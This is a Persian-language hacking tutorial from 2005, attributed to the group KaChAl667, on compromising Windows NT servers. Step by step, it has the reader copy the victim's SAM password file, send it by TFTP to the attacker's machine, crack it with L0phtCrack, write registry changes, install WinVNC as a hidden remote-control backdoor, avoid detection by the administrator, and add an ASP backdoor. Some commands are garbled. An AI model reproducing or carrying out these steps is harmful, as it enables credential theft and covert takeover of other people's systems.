موضوع :

هک کردن سرور های NT

نویسنده :

Lone Rider Knight

تاریخ :

1/2/1384

Copy Right © 2005 by KaChAl667 D1G1T4l N3TwOrK S3CuR1Ty & H@©K1nG T3aM
wWw.KaChAl667.nEt

بعونک یا لطیف

اینم یه آموزش برا هک سرور (NT)

توجه : من لینک نرم افزار لنگارد رو پیدا نکردم ، اگر کسی آدرسی برای دانلود آن دارد یک پیغام به من بدهد تا برای دیگران در سایت قرار دهم.

توجه : امیدوارم با مسائل ابتدایی آشنا باشید ، چون کلی میگم.

ابتدا در داس دستور پینگ را تایپ می کند که به شرح زیر است:

Start>Run>CMD>Ping www.yechizi.dochizi

حال IP را وارد نرم افزاری مانند لنگارد (Languard) می کنید تا معلوم بشود که سرور هدف NT است. حالا وقتی متوجه شدی سرور NT هست باید بدونید که در ویندوز NT فایلی با نام sam وجود دارد که کلمه عبر هر چقدر هم طولانی باشد باز در این فایل ذخیره می شود. برای هک آن نیز باید آن فایل Sam را بشکنی و اولین مرحله انتقال آن از سیتم هدف به کامپیوتر شماست که می توانید از Tftp برای این کار استفاده کرد.

شما می توانید tftp32 را از قسمت دانلود سایت ما ، بردارید و استفاده کنید.☺ بعد از نصب آن روی سیستم خود ، باید دو دستور زیر را تایپ کنید :

```
copy C:\winnt\repair\sam c:\sam
tftp_i IP.IP.IP.IP Putc:\sam
```

حالا فایل sam سیستم قربانی روی سیستم شما می آید.

در مرحله بعد باید این فایل را بشکنیم تا کلمه عبور را که به صورت کد شده می باشد از ان استخراج کنیم.

برای این کار بهترین کار اینه که با نصب نرم افزاری با نام Loght Cracker این کار را انجام دهیم که طریقه کار بدین صورت است که ابتدا نرم افزار را اجرا کرده و سپس فایل sam را در آن باز میکنیم تا برای ما کلمه عبور را کرک کند. اکنون زمان ستاپ کردن برنامه VNC است. باید یه کپی معتبر از این برنامه پیدا کنید. از سایت زیر می توانید یک کپی از ان را پیدا کنید

www.uk.resarch.att.com/vnc/download.html

توجه : برخی از کپی های موجود سارق حرفه ای به شمار می رود.

شما به 3 فایل تحت نام های زیر احتیاج دارید :

Winvnc.exe
Vnchooks.dll
omnithread_rt.dll

خوب می تونید این فایل ها رو از روی برنامه VNC که روی سیستم خود نصب کرده اید استفاده کنید.

Copy Right © 2005 by KaChAl667 DIGITAL NETWORK SECURITY & HOOKING TEAM
wWw.KaChAl667.nEt

حالا فایل omnithread_rt.dll را درون شاخه winnt\system32\directory و دو فایل دیگر را درون شاخهwinnt\system32\viewers قرار بدهید.

حالا باید یه نموره تو ریجستری سیستم خودتون دستکاری کنید. البته زیادم سخت نیست ولی احتیاط شرط عقل است!!نیست؟!؟!؟؟!!! (یه موقع کامپیوترشما نپره☺)فقط کافیه یه فایل با نام Winvnc.ini بسازید و ان را در مسیر زیر قرار دهید.

Start>Run>regedit
HKEY-USERS\DEFAULT\Software\ORL\winVNC3
socketconnect=REG-DWORD 0*0000001
Pasword=REG-BINARY 0*0000008 0*57bf2d2e 0*9e6cb06e

حالا تنها کاری که مونده اینه که این فایل رو تو ریجستری قربانی(سرور یا کامپیوتر هدف) قرار بدیم. راه های زیادی برا این کار وجود داره که راحت ترین و آسانترین و بی دردسر ترین و ... ترین راه اجرای این دستوره که روی Winvnc.ini جواب می دهد :

"regini-mIP.IP.IP.IPwinvnc.ini"

سپس این دستور (پایینی رو می گم) که فقط تو NT جواب می ده رو اجرا کنید:

"Winvnc-install"

این دستور از روی دایرکتوری سیستم قربانی فایل winvnc.exe را اجرا می کند و به حمله کننده(هکر)جواب می دهد . حالا تنها کار باقی مانده این است که در استارت آپ (startup) دستور زیر را اجرا کنید:

"net start winvnc "

برای جلو گیری از اینکه ادمین سیستم قربانی شما را پیدا کند دستور زیر را اجرا کنید:

"net stop winvnc"

حال هرچه را که بخواهید می توانید با vncviewer.exe از روی دسکتاپ سیستم قربانی پیدا کرده و مورد آماج حملات خود قرار دهید . در این بین برای محکم کاری می توانید از بکدور های زیادی استفاده کنید که من بکدوری موسوم به hw-cmd.asp را توصیه می کنم. راه دستیابی به این بکدور و کد آن را شاید بعداً و اگر عمری باقی ماند برای شما بنویسم.

توجه : حالا فرض می کنیم یه سرور NT پیدا کردید و هکیدید ، خوب اسم KaChAl667 یادتون نره ☺☻

Copy Right © 2005 by KaChAl667 D1G1T4l N3TwOrK S3CuR1Ty & H@©K1nG T3aM
wWw.KaChAl667.nEt